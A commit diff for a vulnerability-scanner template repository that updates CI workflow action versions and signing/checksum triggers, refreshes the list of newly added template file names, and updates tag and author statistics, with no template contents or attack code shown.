Updated haproxy

chore: update KEV and vKEV tags and metadata 🤖
chore: update EPSS scores 🤖
2026-11-07 08:36:19 -10:00 · 2026-07-09 12:52:25 +04:00 · 2026-07-09 04:22:04 +00:00 · 2026-07-09 03:01:09 +00:00 · 2026-07-09 00:05:25 +00:00 · 2026-07-09 00:02:42 +00:00
5088 changed files with 69982 additions and 26435 deletions
@@ -29,7 +29,7 @@ jobs:
            // ======= CONFIG: put your user pools here =======
            // Usernames must be GitHub logins and collaborators on this repo.
            const ISSUE_ASSIGNEES = [
-              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const REVIEW_POOL = [
              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
@@ -16,7 +16,7 @@ jobs:
      contents: write

    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v7
        with:
          fetch-depth: 0

@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -13,7 +13,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: actions/setup-python@v6
        with:
          python-version: "3.8"
@@ -1,11 +1,21 @@
 name: 📝 Template Checksum

 on:
+  # For YAML changes: wait for signing to complete first, then checksum
+  workflow_run:
+    workflows:
+      - "☑️ Template Sign"
+    types:
+      - completed
+    branches:
+      - main
+  # For non-YAML changes: trigger directly (signing doesn't run for these)
  push:
    branches:
      - main
-    paths:
+    paths-ignore:
      - '**.yaml'
+      - 'templates-checksum.txt'
  workflow_dispatch:

 env:
@@ -14,9 +24,14 @@ env:
 jobs:
  checksum:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: >
+      github.repository == 'projectdiscovery/nuclei-templates' && (
+        github.event_name == 'workflow_dispatch' ||
+        github.event_name == 'push' ||
+        github.event.workflow_run.conclusion == 'success'
+      )
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -14,10 +14,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      - uses: projectdiscovery/actions/setup/nuclei@v1
+      - uses: actions/checkout@v7
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          token: '${{ secrets.GITHUB_TOKEN}}'
+          install-only: true
      - run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
        env:
          NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -38,18 +38,11 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      
-      - name: Set up Go
-        uses: actions/setup-go@v6
+      - uses: actions/checkout@v7
+
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          go-version: '1.24'
-          
-      - name: Install Nuclei
-        run: |
-          go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
-          nuclei -version
-        shell: bash
+          install-only: true
          
      - name: Sign Windows Templates
        run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
@@ -8,7 +8,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,10 +23,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      - uses: projectdiscovery/actions/setup/nuclei@v1
+      - uses: actions/checkout@v7
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          token: '${{ secrets.GITHUB_TOKEN }}'
+          install-only: true
      - name: Validate templates
        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

@@ -40,8 +40,8 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v5
-      - uses: dorny/paths-filter@v3
+      - uses: actions/checkout@v7
+      - uses: dorny/paths-filter@v4
        id: filter
        with:
          list-files: shell
@@ -52,9 +52,9 @@ jobs:
              - '!.github/**'
            changed:
              - added|modified: *templates
-      - uses: projectdiscovery/actions/setup/nuclei@v1
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          token: '${{ secrets.GITHUB_TOKEN }}'
+          install-only: true
      - run: bash weak-matcher-checks.sh
        id: check
        if: steps.filter.outputs.changed == 'true'
@@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Install Python3
        uses: actions/setup-python@v6
@@ -1,8 +0,0 @@
-.idea/
-.DS_Store
-local/
-.checksum
-.new-additions
-*.txt
-/.claude
-CLAUDE.md
@@ -1,182 +1,62 @@
-cloud/kubernetes/rbac/k8s-clusterrole-nodes-proxy-rce.yaml
-dns/aaaa-fingerprint.yaml
-dns/acme-challenge-detect.yaml
-dns/srv-service-detect.yaml
-dns/tlsa-record-detect.yaml
-dns/wildcard-dns-detect.yaml
-http/cves/2017/CVE-2017-9841.yaml
-http/cves/2018/CVE-2018-16363.yaml
-http/cves/2019/CVE-2019-13608.yaml
-http/cves/2020/CVE-2020-37123.yaml
-http/cves/2021/CVE-2021-22017.yaml
-http/cves/2021/CVE-2021-24139.yaml
-http/cves/2021/CVE-2021-24786.yaml
-http/cves/2021/CVE-2021-41097.yaml
-http/cves/2022/CVE-2022-28987.yaml
-http/cves/2022/CVE-2022-29495.yaml
-http/cves/2022/CVE-2022-31678.yaml
-http/cves/2022/CVE-2022-3236.yaml
-http/cves/2022/CVE-2022-3254.yaml
-http/cves/2022/CVE-2022-45836.yaml
-http/cves/2023/CVE-2023-24000.yaml
-http/cves/2023/CVE-2023-28787.yaml
-http/cves/2023/CVE-2023-3197.yaml
-http/cves/2023/CVE-2023-35708.yaml
-http/cves/2023/CVE-2023-44982.yaml
-http/cves/2023/CVE-2023-45648.yaml
-http/cves/2023/CVE-2023-5204.yaml
-http/cves/2023/CVE-2023-6970.yaml
-http/cves/2024/CVE-2024-0705.yaml
-http/cves/2024/CVE-2024-10152.yaml
-http/cves/2024/CVE-2024-11868.yaml
-http/cves/2024/CVE-2024-12585.yaml
-http/cves/2024/CVE-2024-12638.yaml
-http/cves/2024/CVE-2024-12724.yaml
-http/cves/2024/CVE-2024-12732.yaml
-http/cves/2024/CVE-2024-12734.yaml
-http/cves/2024/CVE-2024-12737.yaml
-http/cves/2024/CVE-2024-12749.yaml
-http/cves/2024/CVE-2024-12873.yaml
-http/cves/2024/CVE-2024-12878.yaml
-http/cves/2024/CVE-2024-13055.yaml
-http/cves/2024/CVE-2024-13094.yaml
-http/cves/2024/CVE-2024-13097.yaml
-http/cves/2024/CVE-2024-13098.yaml
-http/cves/2024/CVE-2024-13099.yaml
-http/cves/2024/CVE-2024-13112.yaml
-http/cves/2024/CVE-2024-13114.yaml
-http/cves/2024/CVE-2024-13219.yaml
-http/cves/2024/CVE-2024-13220.yaml
-http/cves/2024/CVE-2024-13221.yaml
-http/cves/2024/CVE-2024-13222.yaml
-http/cves/2024/CVE-2024-13224.yaml
-http/cves/2024/CVE-2024-13225.yaml
-http/cves/2024/CVE-2024-13226.yaml
-http/cves/2024/CVE-2024-13325.yaml
-http/cves/2024/CVE-2024-13326.yaml
-http/cves/2024/CVE-2024-13327.yaml
-http/cves/2024/CVE-2024-13328.yaml
-http/cves/2024/CVE-2024-13330.yaml
-http/cves/2024/CVE-2024-13331.yaml
-http/cves/2024/CVE-2024-13352.yaml
-http/cves/2024/CVE-2024-13492.yaml
-http/cves/2024/CVE-2024-13543.yaml
-http/cves/2024/CVE-2024-13569.yaml
-http/cves/2024/CVE-2024-13570.yaml
-http/cves/2024/CVE-2024-13609.yaml
-http/cves/2024/CVE-2024-13619.yaml
-http/cves/2024/CVE-2024-13625.yaml
-http/cves/2024/CVE-2024-13627.yaml
-http/cves/2024/CVE-2024-13628.yaml
-http/cves/2024/CVE-2024-13630.yaml
-http/cves/2024/CVE-2024-13634.yaml
-http/cves/2024/CVE-2024-13727.yaml
-http/cves/2024/CVE-2024-14015.yaml
-http/cves/2024/CVE-2024-1751.yaml
-http/cves/2024/CVE-2024-30490.yaml
-http/cves/2024/CVE-2024-32128.yaml
-http/cves/2024/CVE-2024-3231.yaml
-http/cves/2024/CVE-2024-3408.yaml
-http/cves/2024/CVE-2024-3605.yaml
-http/cves/2024/CVE-2024-37259.yaml
-http/cves/2024/CVE-2024-43283.yaml
-http/cves/2024/CVE-2024-5333.yaml
-http/cves/2024/CVE-2024-5483.yaml
-http/cves/2024/CVE-2024-6250.yaml
-http/cves/2024/CVE-2024-6265.yaml
-http/cves/2024/CVE-2024-6671.yaml
-http/cves/2024/CVE-2024-8911.yaml
-http/cves/2024/CVE-2024-8943.yaml
-http/cves/2025/CVE-2025-10090.yaml
-http/cves/2025/CVE-2025-10353.yaml
-http/cves/2025/CVE-2025-11368.yaml
-http/cves/2025/CVE-2025-1232.yaml
-http/cves/2025/CVE-2025-1303.yaml
-http/cves/2025/CVE-2025-13138.yaml
-http/cves/2025/CVE-2025-1338.yaml
-http/cves/2025/CVE-2025-13956.yaml
-http/cves/2025/CVE-2025-14155.yaml
-http/cves/2025/CVE-2025-14528.yaml
-http/cves/2025/CVE-2025-15503.yaml
-http/cves/2025/CVE-2025-22214.yaml
-http/cves/2025/CVE-2025-24582.yaml
-http/cves/2025/CVE-2025-24786.yaml
-http/cves/2025/CVE-2025-2611.yaml
-http/cves/2025/CVE-2025-28242.yaml
-http/cves/2025/CVE-2025-32257.yaml
-http/cves/2025/CVE-2025-40551.yaml
-http/cves/2025/CVE-2025-4078.yaml
-http/cves/2025/CVE-2025-4652.yaml
-http/cves/2025/CVE-2025-54068.yaml
-http/cves/2025/CVE-2025-66744.yaml
-http/cves/2025/CVE-2025-68509.yaml
-http/cves/2025/CVE-2025-8266.yaml
-http/cves/2026/CVE-2026-0594.yaml
-http/cves/2026/CVE-2026-1207.yaml
-http/cves/2026/CVE-2026-21877.yaml
-http/cves/2026/CVE-2026-21891.yaml
-http/cves/2026/CVE-2026-22812.yaml
-http/cves/2026/CVE-2026-23744.yaml
-http/cves/2026/CVE-2026-24128.yaml
-http/cves/2026/CVE-2026-25892.yaml
-http/default-logins/gude/gude-default-login.yaml
-http/default-logins/rustdesk-webclient-default-login.yaml
-http/exposed-panels/checkmate-panel.yaml
-http/exposed-panels/cisco-ucm-selfcare-portal.yaml
-http/exposed-panels/cloudflare-access-panel.yaml
-http/exposed-panels/dokploy-panel.yaml
-http/exposed-panels/flexnet-operations-panel.yaml
-http/exposed-panels/headlamp-panel.yaml
-http/exposed-panels/rails-admin-dashboard-exposure.yaml
-http/exposed-panels/resa-vista-panel.yaml
-http/exposed-panels/sap-management-console-panel.yaml
-http/exposed-panels/smartermail-panel.yaml
-http/exposures/apis/freshrss-fever-api.yaml
-http/exposures/backups/sweetrice-backup-disclosure.yaml
-http/exposures/configs/cpanel-backup-exclude-exposure.yaml
-http/exposures/configs/dockerrun-aws-json-exposure.yaml
-http/exposures/configs/exposed-filezilla-config.yaml
-http/exposures/configs/hp-laserjet-config.yaml
-http/exposures/configs/openvpn-as-config-exposure.yaml
-http/exposures/files/llms-file-enum.yaml
-http/exposures/files/wp-links-opml.yaml
-http/exposures/logs/craftcms-log-disclosure.yaml
-http/misconfiguration/cacti-guest-access-enabled.yaml
-http/misconfiguration/debug/craftcms-debug-exposure.yaml
-http/misconfiguration/installer/craftcms-install-exposure.yaml
-http/misconfiguration/sap/sap-abapreadsyslog-disclosure.yaml
-http/misconfiguration/sap/sap-getenvironment-disclosure.yaml
-http/misconfiguration/sap/sap-getinstanceproperties-disclosure.yaml
-http/misconfiguration/sap/sap-getversion-info.yaml
-http/misconfiguration/sap/sap-listconfigfiles-disclosure.yaml
-http/misconfiguration/sap/sap-listlogfiles-disclosure.yaml
-http/misconfiguration/sap/sap-osexecute-rce.yaml
-http/misconfiguration/sap/sap-readconfigfile-disclosure.yaml
-http/misconfiguration/sap/sap-readlogfile-log-disclosure.yaml
-http/misconfiguration/wordpress/wordpress-events-manager-fpd.yaml
-http/misconfiguration/wordpress/wordpress-joinchat-fpd.yaml
-http/misconfiguration/wordpress/wordpress-rocket-lazy-load-fpd.yaml
-http/misconfiguration/wordpress/wordpress-simple-social-icons-fpd.yaml
-http/misconfiguration/wordpress/wp-h5vp-fpd.yaml
-http/technologies/a-blog-cms-detect.yaml
-http/technologies/apache/apache-tika-detect.yaml
-http/technologies/apostrophecms-detect.yaml
-http/technologies/appdynamics-rum-detect.yaml
-http/technologies/cisco-ucm-version.yaml
-http/technologies/cmsimple-detect.yaml
-http/technologies/datadog-rum-detect.yaml
-http/technologies/dynatrace-rum-detect.yaml
-http/technologies/launchdarkly-detect.yaml
-http/technologies/livewire-detect.yaml
-http/technologies/materialize-css-detect.yaml
-http/technologies/meteor-detect.yaml
-http/technologies/mixpanel-detect.yaml
-http/technologies/posthog-rum-detect.yaml
-http/technologies/sap/sap-message-server-console.yaml
-http/technologies/sap/sap-message-server-detect.yaml
-http/technologies/semantic-ui-detect.yaml
-http/technologies/zurb-foundation-detect.yaml
-http/vulnerabilities/cisco/cisco-ucm-cluster-enum.yaml
-http/vulnerabilities/confluence-xslt-macro-ssrf.yaml
-http/vulnerabilities/wordpress/wpml-multilingual-cms-xss.yaml
-javascript/cves/2026/CVE-2026-1731.yaml
+dns/dns-internal-ip-disclosure.yaml
+http/cves/2026/CVE-2026-10823.yaml
+http/cves/2026/CVE-2026-13731.yaml
+http/cves/2026/CVE-2026-1890.yaml
+http/cves/2026/CVE-2026-22778.yaml
+http/cves/2026/CVE-2026-28496.yaml
+http/cves/2026/CVE-2026-30958.yaml
+http/cves/2026/CVE-2026-34413.yaml
+http/cves/2026/CVE-2026-48282.yaml
+http/cves/2026/CVE-2026-48313.yaml
+http/cves/2026/CVE-2026-48611.yaml
+http/cves/2026/CVE-2026-52815.yaml
+http/cves/2026/CVE-2026-56782.yaml
+http/cves/2026/CVE-2026-8037.yaml
+http/cves/2026/CVE-2026-8383.yaml
+http/cves/2026/cve-2026-44381.yaml
+http/default-logins/dahua/dahua-icc-default-login.yaml
+http/exposed-panels/array-networks-ssl-vpn-panel.yaml
+http/exposed-panels/aruba-via-vpn-panel.yaml
+http/exposed-panels/cradlepoint-gateway-panel.yaml
+http/exposed-panels/ctrlpanel-panel.yaml
+http/exposed-panels/cyberoam-firewall-panel.yaml
+http/exposed-panels/ddwrt-panel.yaml
+http/exposed-panels/ecessa-panel.yaml
+http/exposed-panels/elfiq-panel.yaml
+http/exposed-panels/endian-firewall-panel.yaml
+http/exposed-panels/featherpanel-panel.yaml
+http/exposed-panels/firemon-asset-manager-panel.yaml
+http/exposed-panels/fortinet-fortianalyzer-panel.yaml
+http/exposed-panels/headscale-panel.yaml
+http/exposed-panels/hillstone-ssl-vpn-panel.yaml
+http/exposed-panels/jotty-page-login-panel.yaml
+http/exposed-panels/netgate-pfsenseplus-panel.yaml
+http/exposed-panels/netsweeper-webadmin-panel.yaml
+http/exposed-panels/nuage-networks-vsp-panel.yaml
+http/exposed-panels/ocserv-panel.yaml
+http/exposed-panels/peplink-incontrol-panel.yaml
+http/exposed-panels/sangfor-iam-panel.yaml
+http/exposed-panels/sangfor-ngaf-panel.yaml
+http/exposed-panels/silver-peak-edgeconnect-panel.yaml
+http/exposed-panels/sma-opcon-panel.yaml
+http/exposed-panels/smoothwall-firewall-panel.yaml
+http/exposed-panels/sonicwall-analytics-panel.yaml
+http/exposed-panels/sophos-utm-panel.yaml
+http/exposed-panels/stormshield-network-security-panel.yaml
+http/exposed-panels/thegreenbowvpn-panel.yaml
+http/exposed-panels/trend-micro-deep-security-panel.yaml
+http/exposed-panels/ubiquiti-edgerouter-panel.yaml
+http/exposed-panels/unifi-securitygateway-panel.yaml
+http/exposed-panels/wg-easy-panel.yaml
+http/exposed-panels/zywall-usg-panel.yaml
+http/iot/openremote-detect.yaml
+http/misconfiguration/installer/ctrlpanel-installer.yaml
+http/misconfiguration/marimo-auth-bypass.yaml
+http/takeovers/godaddy-parked-domain.yaml
+http/technologies/google-iap-detect.yaml
+http/technologies/tibco-businessworks-detect.yaml
+http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
+http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
+http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
+javascript/cves/2025/CVE-2025-29635.yaml
+network/misconfig/open-socks-proxy.yaml
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6560},{"name":"cve","count":3842},{"name":"discovery","count":3574},{"name":"vkev","count":1601},{"name":"wordpress","count":1461},{"name":"panel","count":1390},{"name":"exposure","count":1348},{"name":"xss","count":1332},{"name":"wp-plugin","count":1281},{"name":"osint","count":1130},{"name":"misconfig","count":911},{"name":"rce","count":882},{"name":"tech","count":866},{"name":"lfi","count":813},{"name":"wp","count":781},{"name":"devops","count":751},{"name":"cloud","count":714},{"name":"detect","count":641},{"name":"edb","count":598},{"name":"wpscan","count":587},{"name":"cve2021","count":581},{"name":"cve2022","count":558},{"name":"packetstorm","count":552},{"name":"cve2023","count":545},{"name":"cve2024","count":537},{"name":"unauth","count":523},{"name":"sqli","count":522},{"name":"intrusive","count":497},{"name":"login","count":489},{"name":"authenticated","count":481},{"name":"kev","count":471},{"name":"phishing","count":402},{"name":"file","count":391},{"name":"network","count":374},{"name":"oast","count":328},{"name":"cve2020","count":321},{"name":"cve2025","count":311},{"name":"config","count":305},{"name":"default-login","count":298},{"name":"tcp","count":269},{"name":"apache","count":265},{"name":"microsoft","count":255},{"name":"token-spray","count":247},{"name":"auth-bypass","count":243},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"gcloud","count":226},{"name":"token","count":221},{"name":"cve2019","count":220},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":209},{"name":"cve2018","count":204},{"name":"iot","count":201},{"name":"aws","count":194},{"name":"csp-bypass","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"code","count":186},{"name":"amazon","count":175},{"name":"install","count":172},{"name":"ssrf","count":172},{"name":"redirect","count":170},{"name":"security","count":164},{"name":"keys","count":158},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"disclosure","count":142},{"name":"linux","count":137},{"name":"ftp","count":135},{"name":"router","count":135},{"name":"files","count":132},{"name":"cms","count":132},{"name":"cve2017","count":129},{"name":"audit","count":122},{"name":"kubernetes","count":117},{"name":"cve2010","count":115},{"name":"js","count":107},{"name":"fpd","count":102},{"name":"tokens","count":102},{"name":"file-upload","count":100},{"name":"top-100","count":100},{"name":"debug","count":95},{"name":"oss","count":93},{"name":"oracle","count":91},{"name":"passive","count":90},{"name":"windows-audit","count":90},{"name":"seclists","count":88},{"name":"privesc","count":86},{"name":"enum","count":84},{"name":"cisco","count":83},{"name":"takeover","count":82},{"name":"windows","count":78},{"name":"fileupload","count":77},{"name":"k8s","count":76},{"name":"adobe","count":75},{"name":"detection","count":67},{"name":"deserialization","count":66},{"name":"cve2015","count":66},{"name":"vmware","count":65},{"name":"google","count":64},{"name":"cve2016","count":64},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"atlassian","count":63},{"name":"alibaba","count":62},{"name":"logs","count":62},{"name":"c2","count":61},{"name":"php","count":59},{"name":"dast","count":57},{"name":"traversal","count":56},{"name":"cve2014","count":55},{"name":"api","count":54},{"name":"ssh","count":54},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"oob","count":51},{"name":"injection","count":51},{"name":"ssti","count":50},{"name":"generic","count":50},{"name":"ibm","count":49},{"name":"osint-gaming","count":49},{"name":"plugin","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"fortinet","count":47},{"name":"hackerone","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"wp-theme","count":45},{"name":"aliyun","count":45},{"name":"springboot","count":44},{"name":"xxe","count":44},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":44},{"name":"listing","count":44},{"name":"firewall","count":43},{"name":"miscellaneous","count":43},{"name":"ssl","count":43},{"name":"oa","count":43},{"name":"bank","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":41},{"name":"tls","count":41},{"name":"postgresql","count":41},{"name":"sap","count":40},{"name":"jira","count":39},{"name":"dns","count":39},{"name":"dlink","count":39},{"name":"dashboard","count":39},{"name":"cti","count":38},{"name":"devsecops","count":38},{"name":"graphql","count":36},{"name":"osint-coding","count":36},{"name":"google-cloud-sql","count":36},{"name":"gitlab","count":36},{"name":"xwiki","count":36},{"name":"ai","count":35},{"name":"osint-misc","count":35},{"name":"fLine truncated
+{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6560 | dhiyaneshdk   |  2018 | http       | 10180 | info     |  4762 | file |   446 |
-| cve       |  3842 | daffainfo     |   938 | cloud      |   662 | high     |  2704 | dns  |    28 |
-| discovery |  3574 | princechaddha |   863 | file       |   446 | medium   |  2623 |      |       |
-| vkev      |  1601 | dwisiswant0   |   806 | code       |   277 | critical |  1650 |      |       |
-| wordpress |  1461 | ritikchaddha  |   743 | network    |   277 | low      |   484 |      |       |
-| panel     |  1390 | pussycat0x    |   740 | dast       |   249 | unknown  |    58 |      |       |
-| exposure  |  1348 | rxerium       |   530 | workflows  |   206 |          |       |      |       |
-| xss       |  1332 | pikpikcu      |   352 | javascript |   103 |          |       |      |       |
-| wp-plugin |  1281 | pdteam        |   316 | ssl        |    38 |          |       |      |       |
-| osint     |  1130 | 0x_akoko      |   315 | dns        |    25 |          |       |      |       |
+| vuln      |  6626 | dhiyaneshdk   |  2114 | http       | 10970 | info     |  5013 | file |   447 |
+| cve       |  4283 | daffainfo     |   949 | cloud      |   663 | high     |  2915 | dns  |    33 |
+| discovery |  3729 | princechaddha |   867 | file       |   447 | medium   |  2803 |      |       |
+| vkev      |  1795 | dwisiswant0   |   807 | code       |   288 | critical |  1820 |      |       |
+| wordpress |  1656 | pussycat0x    |   797 | network    |   280 | low      |   504 |      |       |
+| panel     |  1537 | ritikchaddha  |   779 | dast       |   249 | unknown  |    58 |      |       |
+| wp-plugin |  1473 | rxerium       |   644 | workflows  |   207 |          |       |      |       |
+| exposure  |  1456 | 0x_akoko      |   417 | javascript |   124 |          |       |      |       |
+| xss       |  1409 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
+| osint     |  1131 | theamanrawat  |   343 | dns        |    30 |          |       |      |       |
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai

 flow: |
  code(1)
